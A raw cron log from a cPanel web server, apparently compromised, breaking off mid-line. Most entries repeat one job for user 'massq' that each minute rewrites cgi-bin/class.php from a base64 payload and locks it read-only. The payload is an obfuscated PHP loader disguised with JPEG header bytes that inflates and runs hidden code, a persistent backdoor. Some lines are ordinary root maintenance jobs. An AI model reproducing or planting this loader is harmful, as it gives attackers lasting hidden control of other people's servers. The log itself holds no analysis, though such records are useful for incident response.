Nov 14 12:36:01 server CROND[5575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:37:01 server CROND[6495]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:38:01 server CROND[7297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:39:01 server CROND[8142]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:39:01 server CROND[8143]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 12:40:01 server CROND[9269]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:40:01 server CROND[9268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:40:01 server CROND[9270]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:40:01 server CROND[9271]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 12:41:01 server CROND[10064]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:42:01 server CROND[10618]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 12:42:01 server CROND[10619]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:43:01 server CROND[11523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:44:01 server CROND[12379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:45:01 server CROND[13263]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:45:01 server CROND[13264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:45:01 server CROND[13265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:46:01 server CROND[13521]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:47:01 server CROND[14336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:48:01 server CROND[15307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:49:01 server CROND[16163]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 